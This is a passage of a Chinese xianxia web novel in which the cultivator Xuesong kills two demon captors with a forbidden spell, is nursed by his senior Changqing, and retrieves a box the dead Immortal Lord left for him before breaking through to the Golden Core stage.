现在只能赌一把了。希望这个修士还不敢冒着杀死所有人质的风险来处理他们。那他们还有侥幸活下去的机会。
蜘蛛精把人质抵在墙上,人质的脸上涨得通红,蹬了两下腿,眼看着就要失去气息,雪松止住了咒语的念诵,脸色惨白,用一种神经质的疯狂至极的神色,对他们微笑:“别杀人,我停下来就是了。”
蜘蛛精松了一口气,和黑熊精对视一眼,毫不犹豫向黑熊精一扬头,示意趁此机会解决了雪松这个危险源头。
黑熊精点了一点头,向着雪松冲了过去,出的是必死的杀招,同时,蜘蛛精瞪着眼睛盯着雪松喝道:“不许动!你敢动一下,我就杀一个人!”
雪松微笑着点了点头站在原地,注视着他们,好像真的放弃了抵抗,但蜘蛛精总觉得不对,看着雪松脸上的笑,感到一种危机即将来临的毛骨悚然。
就是这时候,蜘蛛精忽然意识到,如果雪松不是个疯子,不会在死前还笑得这样猖狂,雪松停下咒语的念诵,不是因为怕了他们,也不是为了人质,只是咒语念完了而已。
蜘蛛精瞪大了眼睛,丢掉人质,砸向雪松,转身就逃,同时对黑熊精喊道:“跑!”
但是来不及了。
这点时间,已经足够禁咒完全释放。恰好他们之前站在原地,非常方便雪松锁定,现在跑,也不过是死得更惨一点而已。
黑熊精愣了一下,蜘蛛精的话音未落,就突然跪倒在地上,往外吐了一口血,脸色惨白,张着嘴,浑身颤抖着,发出含糊不清的气音,每一个关节和骨头都扭曲,好像被一只无形的手,揉成了一团,吧嗒一声变成血呲呼啦的肉酱,落在了地面上,渐渐融化。
黑熊精的反应更剧烈一点,但同样什么声音都没来得及发出,就变作一团肉酱落在地上,被风一吹,瞬息消失。
雪松松了一口气,接住了被丢过来的人质,往后踉跄了两步,轻轻把人放下。《 》
30-40
第31章
人质已经在刚才的激烈战斗中, 受到重度惊吓而昏迷过去,躺在地上一动不动,脸色惨白, 就好像已经死了。
雪松看了人一眼, 确认还有气息,就找了个位置坐了下来, 强行使用禁咒的后遗症开始发作。
他刚坐下来就吐了一口血, 感觉到身体里的经脉一寸一寸,正在干涸断裂, 灵力因为过度抽取而空空如也,一种不容置疑的疼痛, 正在缓缓蔓延开来, 弥漫到身体的每一个部位, 以至于他不由自主颤抖起来。
与此同时, 他的头发一点一点变白了,这是灵力过度使用而衰败的象征, 他要是想用幻术遮掩, 大约也能看起来和之前一样,但他现在没有使用幻术的能力了。
他闭上眼睛,靠着墙,一边调整呼吸,一边努力平复此时因身体破败而不断涌现出来的各种各样的,零碎的回忆导致的情绪波动。
玉镯镇, 正在刚找来的小院里布置阵法的长青忽然顿住,察觉到一股诡异的从远处蔓延而来的灵力波动,缓缓抬起头来。
他隐约能从灵力波动中察觉到熟悉的气息,辨认了一番, 确认是雪松的灵力,但仔细探查,又觉得和平时不像,以至于不能确认身份,在原地犹豫起来。
如果是雪松,气息怎么混杂起来了?如果不是雪松,那这灵力波动是谁干的?在干什么?怎么仿佛像是禁咒波及出来的结果?
雪松会用禁咒吗?不管是在擂台上,还是幻境里,又或者是新生试炼地,都没见他用过,应该不会吧?否则为什么不用?
如果会,从哪里学来的?仙尊下来的那座山上可没有什么图书馆,更没有什么隐士高人,又没有书看,又没有人教,禁咒那种东西,可不是走在路上随便就能知道的。
平时联系长老的徽章忽然震动起来,长青将徽章拿在手里,就听见长老对他大声道:“快去找雪松!他的魂灯正在闪烁!他要死了!”
长青猛然一惊,顾不得询问其他,抓住徽章就冲了出去,在门外辨认了一下方向,一边使用气息辨别术,一边跟着辨别出来的雪松的气息追踪而去,眨眼之间,来到了黑熊精的洞府。
门口安安静静,甚至称得上冷清,里面传出一股浓重的血腥味,像是刚刚发生了什么极其糟糕的事情。
长青深吸一口气,不敢想象发生了什么,用更快的速度冲了进去,下一刻,他在里面找到了闭目沉默的雪松。
毫无疑问,雪松在来之前还是黑发,现在已经是白发了,长青停在不远处,瞪大眼睛倒吸一口凉气,几乎不敢上前去。
雪松现在看起来太像一个死人了,以至于长青有一种恍惚感,好像看见多年以前的仙尊意外死亡的景象,这更使他顿在原地,仿佛完全僵住了。
长老发现他不动了,又急又无可奈何,隔着徽章对他大喊道:“你还在等什么?也许人还没有死!再等下去,真死了也说不定啊!还不快救人?去呀你!”
他回过神来,小心翼翼往前靠近,好像对面不是他认识的人,而是一具被伪装过的随时会跳起来的尸体,走到了雪松面前。
他深吸一口气,颤抖着伸出手去,脸色惨白,探查了一下雪松的气息,发现人还活着,顿时放松下来,险些跌坐在地上。
长老不在现场也能看见情况,心里知道长青独自一人面对仿佛死去的雪松会受到多大的冲击,提醒着喊道:“既然活着,快想办法救人!”
长青手忙脚乱,掏出丹药来,想要喂雪松吃下去,又觉得雪松现在恐怕没有多少吞咽的能力,更何况还要等药效发作,也不知道来不来得及。
他顿了顿,把丹药收回去,握住雪松的手,开始传输灵力,试图先用灵力保住雪松的经脉,避免雪松修为下跌。
毕竟,灵脉受损,已经算是重伤了,没几个修士能在这种精神和身体的双重打击下,维持住自己的修为。
长青也实在不想看见一个天赋卓绝的修士就这么泯然众人。
雪松睁开眼睛,按住他的手,神色十分平静说:“我没事,休息一阵就会好的,你先把旁边的村民带走吧,他们要是在这醒来,大概又得吓晕过去。”
长青不能理解,大为震惊:“你知道自己现在快要死了吗?就你现在这个样子,哪怕活下来,修为下跌都算好的,很有可能从此经脉尽断,再也不能修炼,你还有空在乎那些只是昏迷了的人?你究竟在想什么?!”
“我心里有数,”雪松可以理解他受到惊吓和震撼导致的紧张焦急情绪,但并不想和他解释,推开他说,“你不愿意,我也不勉强,我去就是了。”
长青无可奈何,把他按回去:“我总不能站在旁边看着你这样奄奄一息去救人,我成什么了?我干就是了!你坐着吧。”
雪松坐在原位看着他说:“那好。”
长青发现雪松说这话居然是认真的,更加震惊,看了他一眼,不由自主摇了摇头,用最快速度把昏迷的村民都送了下去,之后看向他问:“你现在有什么打算?”
“你应该找到住处了吧?我不太想走很远,”雪松缓缓站起身说,“带我去吧,我要先休息休息,再考虑别的。”
长青心情极其复杂,对雪松伸手说:“你看起来下一刻就要断气了,我还真的让你走不成?我带你去。”
雪松确实不想走,点了点头,拉住了他的手,终于放松下来,晕了过去,长青吓了一跳,下意识把人抱住,发现只是晕了过去,而不是死了,松了一口气,把人带回了之前在玉镯镇布置阵法的院子。
阵法检测到雪松出现自动运转起来。
长青倒吸一口凉气,他走的时候着急,忘了把阵法拆掉,现在阵法已经启动,要阻止已经来不及了,不知道会不会对昏迷中的雪松造成什么危害。
虽然正常情况下,这只不过是一个唤醒前世记忆的阵法而已,无论如何,没有危险,但现在不是正常情况,雪松眼看着就要死了,在这种极其脆弱的节骨眼上,长青很难不担心,哪怕恢复记忆中,造成了强烈的情绪波动,都有可能成为雪松的死因。
他不由得皱着眉头,一脸焦急,在房间里走来走去,不知如何是好,要强行拆掉阵法,他不是做不到,但这时候强行拆掉阵法,比让雪松承受阵法的影响,更容易导致死亡。
那他只有两害相较取其轻了——
虽然让雪松在这种虚弱的状态恢复前世记忆可能不太好,但总比反复受到阵法影响,最终承受无法控制的结果要好。
长老已经从他脸上的神色和脚下的阵法余晖,大概确认了情况,知道事已至此,他也无能为力,安慰他说:“雪松若真是仙尊的道侣,仙尊无所不知,不可能料不到今天的情况,不会毫无准备,你且安心等着,也许,雪松醒来会有办法的。”
长青沉默着退出了房间,不想继续在里面打扰雪松的休息,关上门,在院子里皱着眉头说:“可是,能有什么办法呢?如果有,为什么不告诉我?又为什么不直接用?根本是骗我吧!”
长老觉得他说的有道理,但那样太悲观了,容易出事,接着安慰说:“大难不死必有后福,相信他能挺过来的。”
“说起来,”长青顿了顿,忽然掏出一团气息,“我在那黑熊精的洞府,发现了这个,像是禁咒力量的残余,但我不确定,您能看看吗?”
长老定睛一看:“确实是禁咒。”
想起这个禁咒曾经被记录在什么地方,长老的神色古怪起来:“据我所知,宗门的藏书阁里曾经有一本书,记载了这个禁咒,但那本书早就被销毁了,雪松进宗门的时候,那本书根本就不存在,他怎么会知道这个?”
“谁销毁的?”长青疑惑问。
“是仙尊,”长老想起当初的情形,欲言又止道,“仙尊销毁之前我还看过那本书,那本书上,就在这个禁咒之前,还记录了复活术。”
“谁提出要销毁?”长青顿住,忽然察觉出一丝秘密的气息,眯了眯眼睛。
“也是仙尊,”长老回答,“仙尊还说,人死如灯灭,正是轮回之数,复活术这种东西就不该存在,为了以防万一,还是销毁好。”
长青若有所思,喃喃自语:“仙尊早料到自己会死,这不奇怪,但他大概也早就料到,自己会死得魂飞魄散。
众所周知,魂魄既散,便不入轮回,他销毁那本书,大约也是不希望雪松查出复活术来,扰乱命数。
可雪松还是知道了,哪怕他销毁了那本书,或许,这就是天命,天意要雪松复活他,他阻止不了,又或许,正因为他销毁了那本书,雪松阅览他的生平,才知道有复活术,才会想要复活他。”
第32章
“或许, ”长青神色复杂,“雪松这一次,在任务中支开我, 单独行动, 就是为了强行试验那个禁术。
他知道如果我在,我不会坐视不理, 他不一定有使用禁术的机会, 更何况,是强行使用不属于他这个修为所能使用的禁术。”
长老感到疑惑:“那他为什么非要强行试验这个禁术?就不能等以后修为高一些了, 再来用吗?那样更稳妥更安全,也更容易成功, 更不容易被发现, 不是吗?”
长青冷笑一声:“可不是?以他的天赋, 只要稍微等一等, 修为自然有突破的机会,要找没有人的地方, 独自试验禁术, 容易极了。
可他为什么不那么做?毫无疑问是因为,他根本不想等下去。
想想看吧,他用的剑是仙尊给的,他穿的软猬甲是仙尊给的,他吃过的丹药是仙尊给的,他喝过的酒是仙尊埋的, 他用过的引路符是仙尊特意留的,哪怕他不记得仙尊和自己究竟有什么样的关系,看着那些东西,他又怎么能无动于衷?
他大概很想亲自问一问仙尊, 究竟为什么对他这样好,一切是不是真像我们所说的那样,可是仙尊已经死了,他没有地方问。
要他忍耐,他大概是不愿意的,那还能有什么办法呢?或许可以去翻阅仙尊的生平,以此确认,仙尊究竟是否曾经和他认识。
于是他知道了那本书,凭他和仙尊几乎一模一样的外貌,他想要知道那本书究竟为什么被销毁,应该也不难,知道了那本书为什么被销毁,就知道了复活术,他又怎么能假装不知道?
哪怕是一个只听过仙尊名声的人,在得知自己有机会复活仙尊的时候,大概也会想要试一试,更何况,是和仙尊纠缠如此之深的雪松。他但凡知道了复活术,会想要复活仙尊,根本是不用怀疑的事情。”
长青说完,深深叹了一口气,忍不住唏嘘道:“雪松会不知道仙尊不希望被复活,尤其是,被他使用已经销毁的书里的复活术,复活吗?
他但凡查得出复活术,不可能不知道,仙尊销毁那本书的意思,就是不希望他复活自己。可他还是这么做了。”
他究竟是爱仙尊爱到不顾生死的盲目地步,还是恨仙尊恨到宁愿死也要想办法违背仙尊的意愿把人复活?恐怕只有他自己知道。
但有一件事是毫无疑问的——
他竟然宁愿冒着忤逆天命的风险,强行使用不属于自己这个修为所能使用的禁咒,就为了确认那本书上的复活术是否可行。
毕竟,同一本书里的咒术,通常情况下,有一道可行,就是道道可行,有一道不可行,就是道道不可行。
编书人的水平不可能忽上忽下,也不可能一时认得什么是真的,一时又分不出什么是假的。
因此,只要雪松实验了禁咒,确认可行,他就能同样确认,禁咒前面的复活术,多半也是可行的。
这太疯狂了!更疯狂的是,他居然成功使用了禁术,扛住了反噬,确认了他想确认的东西,下一步,恐怕就是使用复活术了吧?
长青在门口顿住脚步,神色十分复杂,看着面前关闭的门,忽然觉得,假如雪松醒来之后记忆错乱,也是一件好事。
因为如果雪松不知道复活术的事,也不至于这样疯狂,如果雪松忘了复活术,至少不会继续执着下去,好歹也没那么危险。
说不定反而可以活得长久一些。
虽然雪松自己未必要那样的长久和安稳,但对于旁观者而言,能够平平静静活到老死,就已经算不错了,自然希望身边的人也不要打扰这样的平静。
可是雪松,看起来就不像是那种,一生波澜不惊的人。或许,对他有那种平静到死的期望,本来就是一种应该被修改的,认知上的错误吧。
长青摇了摇头,叹了一口气,找了个位置,在院子里坐了下来,仰头望着落下阴影的树冠,绿油油的树叶层层叠叠,密密麻麻笼罩着天空,像一种即将往远处飞去蚕食世界的蝗虫。
静谧的景色,没能缓解他的忧心忡忡,反而因为被阴影笼罩,而感到担忧更加严重,像是即将被海水淹没口鼻,突如其来的窒息。
长老忽然想起一件事,对他说:“你能再把之前搜集到的,那团气息给我看看吗?”
长青掏出了那团气息,长老定睛一看,确认了自己看见的禁术和自己脑中刚才想到的禁术是同一种,不由得倒吸一口凉气。
“怎么了?”长青从长老的态度里察觉出了一点微妙的端倪。
“你知道这个禁术要什么样的前提条件才能发动吗?”长老神神秘秘问。
长青对此毫无了解,皱着眉头想了想,摇了摇头,一脸无可奈何:“我不知道。”
长老张了张口,正要告诉他,突然听见房间里传来了声音,仿佛里面的人醒了,顿时住了口。
长青也听见了房间里的声音,顾不得再问什么,转过头,就站起身,向房间走去,轻轻推开了门,往里一看。
房间里的阵法仍然正在运转中,但阵法纹路上的光芒逐渐暗淡,负责为阵法提供能量的灵石,也已经灰白了不少,这显然是能量即将耗尽的征兆,不管之后是成功还是失败,这个阵法都坚持不了多久了。
心情复杂的长青顿在原地,一时不知道自己该不该进去,犹豫起来。长老见此情形,不知说些什么,也保持了沉默。
雪松确实已经从床上坐起来了,他们之前在房间外听到的声音,毫无疑问就是雪松发出的,但是雪松脸上是迷茫的神色,让人分不清他究竟是想起了什么,还是忘记了什么。
阵法的光芒熄灭了,负责能量的灵石完全变成了灰白色,在眨眼之间化为粉末,阵法已经完全运转结束了。
长青注视着雪松,不知道他现在究竟是什么情况,如果他想起了前世的记忆,那长青不得不恭敬一些,毕竟雪松要真是仙尊的道侣,从辈分上是比旁人都高一大截的。
如果他没有想起,那长青就不知应不应该松一口气,却一定要想办法治疗他身上的伤了,因为再不治一治,恐怕就来不及了。
如果他记忆混乱,那长青完全可以松一口气,立刻想办法治疗他,先治疗他身体上的伤,再考虑记忆上的事。
反正他要真是记忆错乱,一定搞不清楚现在什么情况,距离他最近的是长青,就算他不相信长青的话,也得先听一听再说,那长青能说的东西可就太多了。
能做的事也绝对更多。
雪松看向长青问:“你是什么人?”
长青提起来的心放下一半,因为雪松要是记忆清晰,不会问他是谁,但雪松要是记忆混乱,现在可以算他们的二次初见了。
众所周知,第一印象是很重要的。
他几乎有些紧张回答:“我和你是同一个宗门的弟子,这院子是我租来的,用来当做你我出任务时的临时住所,你可以叫我长青师兄。”
“什么东西能证明你说的话?”雪松将信将疑。
“这是我从宗门带来的徽章,可以联系宗门长老,现在正在联系的是我师尊,他和这个东西都可以作证,”长青把徽章递给雪松,“我说的是真的。”
雪松看了一眼,点了点头:“我们什么时候去出任务?”
长青愣了一下,把徽章收了回去,摆手说:“任务已经完成了,你在这休息休息,养好了伤,我们就回宗门去,不用再做什么。”
雪松若有所思:“你完成的?我没有印象。我参加了吗?”
“是你完成的,”长青垂着眼睛说,“所以你才受了伤。”
“那我不记得现在的情况,也是因为受伤?”雪松一脸狐疑望着他问。
“我不确定,”长青摇了摇头,“你刚受伤的时候,没有失忆。”
雪松看了看自己惨白的头发:“那这是因为受伤?”
“是的,”长青点了点头,试探问,“你现在还记得什么?”
“记得什么?”雪松想了想,面色平静回答:“我好像在这住过一段时间,但是不太确定,过两天我可能会想起什么,或者全都想起来,现在不太记得什么。”
他说完,摇了摇头,脸上既没有对自己曾经在这里住过的惊讶,也没有对过两天可能想起什么的惴惴不安。
长青在他这种几乎有些诡异的平静中,察觉到了面对高阶修士时总能隐隐约约体会到的压迫感。
长青有些呼吸不畅,下意识想要离开,但是顿了顿,想起来雪松的伤还没有治,从自己发现雪松受伤到现在,雪松除了接受他最开始输入的灵力,就只是休息了一阵,恐怕那些伤不会自己痊愈,就担忧中带着试探问:“你再想一想,知道怎么治自己的伤吗?”
雪松想了想:“不知道,但好像有东西放在附近。”
第33章
“那太好了, 我们现在就去找吧。”长青瞪大眼睛,迫不及待说道。
雪松想了想,点了点头, 往外走了一段路, 在一个僻静无人处停了下来。
“这里就是吗?放东西的地方?里面有什么?东西又是谁放的?”长青皱着眉头,左右看了看, 看不出有什么, 感到了疑惑。
雪松往前伸出手去,一边解开隐秘的阵法, 一边回答:“应该是这里,放东西的地方, 里面有一些或许我现在会需要的东西, 至于是谁, 我的朋友。”
长青若有所思, 点了点头。朋友?那就是仙尊了。仙尊设置的阵法,寻常人看不出来倒也正常。这个地方如此隐蔽, 大约也是为了, 不被人随意发现吧?这样东西才能存放得更久,更安全一些。
阵法被解开了,解开阵法,对别人而言或许很困难,但对雪松而言,只要像指纹认证一样, 稍稍使用自己的灵魂,阵法就会自己解开,一丁点多余的力气都不需要。
一个箱子出现在雪松面前,雪松伸出手去, 想要打开这个箱子,可是手还没有碰到箱子,旁边忽然吹来一阵狂风。
他皱着眉头停了手,转头看了过去,树上站着一只通体火红的鸟,瞪着一双眼睛,收着翅膀,正看着他,见他看了过来,立刻向他大声问:“你是什么人?知道这里是什么地方吗?知道里面是什么东西?你怎么能如此随意解开阵法,又要去碰阵法里的宝贝?你知道这是谁放的?”
雪松面无表情,看着那只鸟,已经想起了这鸟的来历——
他之前还是仙尊的时候来这里放东西,被这只鸟看见了,这只鸟非要到处嚷嚷,实在太吵了,又容易把消息泄露出去——
为了保护放在这里的东西,也为了避免消息被这只鸟传出去,他让这只鸟在这里替他守着这箱子和东西,那只鸟也答应了。
“且慢且慢,”长青左右看了看,皱着眉头,一时搞不清楚怎么回事,但又觉得肯定和仙尊有关,应该不是敌人,就向那只鸟问,“你知道这里有阵法和宝贝,你是怎么知道的?”
那只鸟得意洋洋抬起头说:“这就要说到很久以前!仙尊来这里放东西,我看见了,仙尊就顺便请求我帮忙,替他看着东西,我答应了。”
长青若有所思,点了点头。
很久以前?时间对得上。仙尊?人也对得上。地点和东西?都在这里了,应该不是撒谎。至于仙尊顺便请求帮忙?
长青重新把那只鸟看了看,微不可查摇了摇头。
难以想象,仙尊会请求一只鸟的帮忙。与其说是仙尊请求,还不如说是,这只鸟机缘巧合发现了仙尊,死皮赖脸求着仙尊,让自己留在这里替仙尊守护东西,以后说出去也有面子,一看就很符合这只鸟的个性。
听起来也比较像是仙尊可能会做的事——
在需要隐藏的事情上,被发现之后,因为发现者没有错处而选择避开杀生,又因为对方恳求而心软,留对方一命的同时,保证自己要做的事情不会出错,既给自己的事情增添了保险,又让对方得到了好处,一举两得。
不愧是仙尊!强大善良,心思缜密,互利互惠,行动又有准则。这才是仙尊!
看对面两个人都不说话,那只鸟还以为他们不相信,有点急了,把头一抬,挥了挥翅膀飞到他们面前,额头上一个雪白的剑痕闪了闪,对他们说:“你们看!这就是证据!这是仙尊留下的!可以证明确实是仙尊让我留在这儿保护东西!我对仙尊发了誓的!不会随便让什么人把东西取走!”
长青定睛一看,点了点头:“确实是仙尊留下的痕迹。”
话音未落,那只鸟停在了不远处的树枝上,忽然像被雷劈了似的,浑身颤了颤,用一种目瞪口呆的神色盯着站在长青身后的雪松。
长青一开始没察觉出什么问题,左右看了看,有些疑惑:“怎么了?”
话刚问出口,不远处那只鸟额头上的印记忽然爆发出一阵强光,照向了几乎躲在长青身后的雪松,毫无疑问,这是印记见到了主人的反应。
但那只鸟亲口说了,那印记是仙尊留下的,雪松也说过,自己不是仙尊,这印记却对雪松有反应,岂不是说——
对这印记而言,雪松就是仙尊,而要得到这样的结果,只有一种可能,仙尊活着的时候,对天地发誓,和雪松结过道侣契,所以哪怕在仙尊死后,这契约也不曾解除,还能一如往常生效,以至于,对于一切仙尊留下的东西和印记,雪松和仙尊毫无区别?
长青倒吸一口凉气。不过他毕竟有之前一系列的事情做铺垫,在震惊之后,很快恢复了平静,接受了现实。
但对于那只鸟而言,这就是晴天霹雳了。
啪的一声,那只鸟落在地上,翅膀颤了两下,好一阵子才勉强从地上爬起来,呆呆靠着树干,好像眨眼间已经老得不成样子,双眼发直,一副完全回不过神的状态。
长青隐约听见那只鸟喃喃念道:“明明是仙尊留下的印记,怎么会对别人有反应?难道我记错了?不可能!难道仙尊骗我?不可能!难道这是仙尊的道侣?不可能!!!仙尊根本没有!从来没有听说过!突然冒出来一个!谁会相信呢?”
长青看这只鸟如此难以接受,忍不住劝道:“仙尊留下的阵法,想必除了仙尊,只有既定的人能解,现在阵法已经解开,不管是谁,一定是仙尊认为可以领东西的人,你又何必纠结呢?”
那只鸟拍拍身上的土飞了起来,绕着他们两个转了两圈,忍不住摇头:“仙尊怎么会让你们来取东西?”
“难道仙尊说了来取东西的人是谁不成?”长青挑了挑眉,有些好奇。
“这倒没有,”那只鸟摇头,停在不远处,看着已经重新准备开箱的雪松,没有再阻止,喃喃道,“但仙尊当时也没说,来取东西的人会是他的道侣啊。”
如果是平时,雪松一定要反驳的,但现在,仙尊从前留下来的印记都确认了他的身份,如果他要反驳自己不是仙尊的道侣,那他就得承认自己是仙尊。
一想到现在的修为,再想到身边其他人的猜测,他就觉得,与其承认自己是仙尊,还不如承认自己是仙尊的道侣。
至少,仙尊的道侣不如仙尊是有可能的,但仙尊的修为,像现在这么低,那就是一次性丢两次的脸,他还真不想承认。
长青是希望雪松反驳的,因为他一路看过来,知道雪松的态度,也知道雪松的记忆现在还没有完全恢复,不可能确定谁是朋友,哪怕,周围有一大堆的证据,也只是让雪松从坚决否认变得将信将疑而已。
但他没听见反驳,就干脆看了过去,发现雪松避开了他的目光,侧了侧脸,垂着眼睛,已经不再是从前那种将信将疑的无话可说的神态,倒像是事已至此,恐怕就是这样,没有什么可说了的样子。
虽然沉默和从前是一样的,但态度显然已经转变了,从前的沉默更接近于,你可以这么说,但我不一定要这么信,现在的沉默则更接近于默认了。
长青受到了一点微妙的打击,挪开目光,看向已经被雪松打开的那个箱子,既然是仙尊留下来的东西,应该都是好的,只是不知道是什么。
但如果仙尊可以未卜先知,提前在箱子里准备这次雪松受伤之后需要用的药物,倒也不是不可能。
结果第一眼,长青在箱子里看见了一只,和雪松手腕上一模一样的镯子,愣了一下,逐渐意识到这意味着什么,大为震惊。
原来仙尊当初的镯子被放在这个箱子里了?难怪别人都没看见。这两个镯子的款式还真是一模一样!难道他们真是天作之合?
旁边的鸟这个时候也注意到雪松的镯子,用极其震惊的声音喊道:“这两只镯子根本是一对!你怎么会有另外一只?当初仙尊都只有一只!等等——”
那只鸟露出蚊香圈一样的眼睛,喃喃道:“仙尊知道你会来,也知道你会有这只镯子,所以特意提前得了另外一只,放在这里,送给你吗?”
仙尊知道这是什么意思吗?在玉镯镇,只有年少慕艾的青年男女,在想要表白的时候,才会给人送镯子,要说到送一模一样的镯子,那就完全是求婚了。
求婚啊,求婚!仙尊知道求婚是什么意思吗?应该知道吧?那仙尊把镯子放在这里的时候,想的居然是给打开箱子的人求婚吗?
可是,他们不是已经是道侣了吗?否则仙尊的印记怎么会对雪松有反应?难道说,仙尊是和雪松结为道侣之后,才想起来要给人求婚?难怪不敢当面说!又是阵法又是箱子,是就怕对方第一眼看了,直接拒绝吧?
第34章
雪松只当做什么也没有听到, 并没有给出任何回应,只是默默把箱子里的手镯拿起来看了看,戴在自己有空的另外一只手腕上。
长青和旁边的那只鸟并没有看错, 这两只镯子确实是同一个款式, 简直就是一对,戴在手上之后, 更加一模一样了。
不过, 雪松带着的那只看起来更老一些,箱子里的那只更新一些, 毕竟在箱子里放了那么长时间,没有风吹日晒, 保存完好, 这也正常。
长青忍不住想起仙尊。难道仙尊连镯子的新旧程度也计算好了吗?知道雪松现在年轻, 身份又新, 所以特意留了一个看起来比较新的镯子,既不会显眼, 又不会太贵重, 又有新意,又配得上身份,好像一切都正合适。
这么看来,仙尊送给雪松的那只镯子,倒比雪松自己在新生大比上得到的那只镯子,更适合他一些。仙尊挑了多久?又怎么确认合适的?把人带在身边一一试吗?不太可能。
仙尊来的时候, 众所周知,是只有一个人的,走在街上的时候,也有人看见, 身边并没有其他人,那雪松就是在仙尊的住处了?
长青忽然想起雪松之前对他说,仿佛在他挑的那个房子住过,倒吸一口凉气。
雪松从前在那个房子住过的意思是——
仙尊曾经让他暂时居住在那个房子里,陪伴自己完成任务,顺便隐瞒了别人,还让他在房子里试了试镯子大小是否合适?
说不定还问过他喜不喜欢这个款式,要不要这只镯子,放在哪里比较容易找,以及,知不知道镯子的意思,要不要接受?
长青狠狠打了个哆嗦,不知道应该感慨他们居然如此蜜里调油,还是应该疑惑,他们是不是就在那个时候,决定结为道侣?
雪松看了看手腕上的镯子,确定暂时并不影响行动之后,又把目光投向了箱子,箱子里有一只白玉瓶。
他把瓶子拿起来晃了晃,隐约听见里面似乎有丹药撞击的声音,就打开塞子低头一看,里面果然有一颗洁白如玉的丹药,正静静躺在里面。
他一仰头,就把丹药吞掉了,喉咙里咕的一声响,像是一块石头砸进了水井里,旁边的长青和鸟都愣住了。
长青在他吞下去之后才反应过来连忙喊他:“你直接就吃吗?你甚至不确定一下这是什么?万一失效了怎么办?万一被替换了怎么办?”
旁边的鸟如同被针扎了一下跳起来,在半空中扑扇着翅膀,把脸涨得通红,恼羞成怒似的,大声喊道:“我一直看着,根本没有被替换过!难道你是在说我替换过了吗?我没有干那种事!”
“只是一种可能而已,你不要这么激动,我没有说你的意思,”长青摆了摆手,“那东西上面没有任何标签,也没有任何印记,算得上来历不明,谨慎小心一些不为过的。”
那只鸟闷闷的,不说话了。
雪松把那个丹药完全吞下去之后,面色十分平静回答他:“不用担心,没有问题。”
长青若有所思,将信将疑看着雪松,没有说什么。
这么信任吗?知道是仙尊放的东西,就根本不需要检查?虽然如果是仙尊给的,确实不需要检查,但是放了这么久,谁知道有没有万一?究竟是在赌自己不会死,还是觉得假如真是毒药,毒死了也无所谓,反正是仙尊给的?你们两个突然恨海情天起来了?
雪松又从箱子里找出第二个瓶子,打开一看里面是满满当当的一瓶进阶丹,与此同时,他手腕上的镯子闪了一闪。
长青挑了挑眉。
之前没看出来这两镯子还有相互吸引的效果?等等,如果是这样,那岂不是证明雪松在大比时得到其中一只镯子的时候,就已经可以找到另外一只镯子的下落了?
但他当时为什么没找呢?是没有察觉还是觉得需要准备?他是假装不知道,还是真的不知道?
他该不会早就知道镯子在这儿,但是不想自己主动到这儿来,显得好像是故意为了什么来的,所以才领了任务,顺便和自己一起过来吧?
既可以隐瞒真实目的,又可以转移其他人的注意力,好一招一石二鸟!好熟悉的手段!已经能感觉到仙尊那种算无遗策的味儿了。该说不愧是仙尊的道侣吗?
连这种地方也如此相似!是相处时间太长,所以腌入味了,还是朝夕相处,所以对对方的一切了如指掌,以至于用起对方的手段也手到擒来?根本是未亡人!因为处处都有已经死了的那个人的影子啊。
雪松把瓶子里的丹药看了看,一仰头全都吞了,长青愣了一下,大惊失色:“一口气吃这么多,真的会死的吧?你的伤是因为刚才那颗丹药才刚刚愈合吧?用不用这么着急啊?”
他说到这里忽然顿了顿,想起来大比的时候,宗主给的奖励之一是一瓶丹药,吃下去就可以提升进阶的概率,又看了看雪松手里的瓶子,估算了一下,那个瓶子最多可以装多少那样大小的丹药,不由得倒吸一口凉气。
吃那么多真的会死吧?宗主之前在大比奖励的时候给出的丹药数量,对于一般修士而言,就是他们所能承受的最恰当的份量了。
不同的修士天赋和修为都不一样,平时修炼习惯也不一样,如果天赋高,修为高,平时修炼又惯于冲击自己的极限,那多吃一点丹药,挑战自己也不是不行。
如果天赋低,修为低,平时修炼偏向于稳中求胜,那吃丹药的时候最好往少了吃,发现效果不足的时候再加就行。
这样比较方便停下来,也比较好控制最后的分量,得到的效果虽然不如上一种,但也同时没有上一种那么容易死,危险性是大大降低的。
雪松的天赋是毫无疑问的高,否则不可能进宗门没多久就来到筑基巅峰,以他现在的修为想要突破金丹期,已经算是很稳妥的了,因为在金丹期以下,没有比筑基巅峰更高的修为了。
至于他平时是不是总想着突破自己,长青对此不太了解,但看之前和现在的事,他大概确实是那种类型,多吃一两颗丹药也没什么。
可他简直是多吃了一倍!对于普通修士而言,吃下去的时候就该爆体身亡了。
他现在没死,也不知道是因为身体太虚弱所以需要的能量太多,还是之前吃的那一颗丹药正在急速修复他的身体,勉强维系了最后的平衡。
天上雷云聚集,闪电噼里啪啦,狂风逐渐呼啸,红颜色的鸟扑扇着翅膀飞了起来,向远处躲去,一边飞一边喊:“既然你要渡劫,我就不在这儿待着了,免得一块儿被雷劈,等你渡完了我再回来啊!”
雪松把箱子盖回去,看向长青说:“你也该走远一点了,不然等会儿劫雷把你一起劈了,雷劫的威力和时长都是要翻倍的。”
长青知道这个,皱着眉头说:“可是你真扛得住吗?”
“没问题,”雪松对他晃了晃手里的镯子,“有增益效果在,我一时半会儿死不了,你要是担心可以在旁边看着,等结束了,把我带回院子去。”
长青将信将疑:“那好吧。”
他转身,离开了雷劫的范围,停在不远处观望情况,忽然想到一件事。宗门大比的时候,宗主给出的奖励,也有可以提升进阶概率的丹药,但当时雪松没有选。
究竟是因为更想要镯子还是认出了曾经有那么一只镯子?究竟是因为觉得不需要丹药还是猜到这里的箱子一定有更多的丹药?
如果是觉得不需要丹药,这会儿怎么又吃了?因为是仙尊给的,所以毫无疑问吗?如果是猜到这里有更多的,那他早就算好,要在这时候吃了丹药渡劫?
仙尊知道吗?应该知道,否则不会准备丹药。就这么放心?就是因为本性相同,所以才情投意合?
长青心情复杂。
雷云逐渐消散,长青踩着一片焦土,向雷劫中心走去,那只红彤彤的鸟飞在他旁边,慢吞吞往前,像是怕惊扰了什么似的,小声对他说:“我能感觉到他还活着。”
长青看了那只鸟一眼,那只鸟解释说:“本来这个印记只是让我和仙尊有所联系,确保我信守承诺,我是不能单方面联络仙尊的,感知也做不到,但刚才印记和仙尊道侣有所关联,波动被加强了,我就能感觉到了,或许过一段时间就恢复正常了。”
长青将信将疑,点了点头,随后看见了雪松,停住了脚步。
那只鸟慢了半拍,但也很快跟着他停在了旁边的树枝上。
雪松现在已经是金丹初期的修为,身上的伤全都好了,只有头发还是白的,大概要过一阵子才能好,不过也有可能因为晋升金丹而容貌固定,导致之后也是白的。
但也说不定,雪松是为了祭奠仙尊,才故意保留白发。
第35章
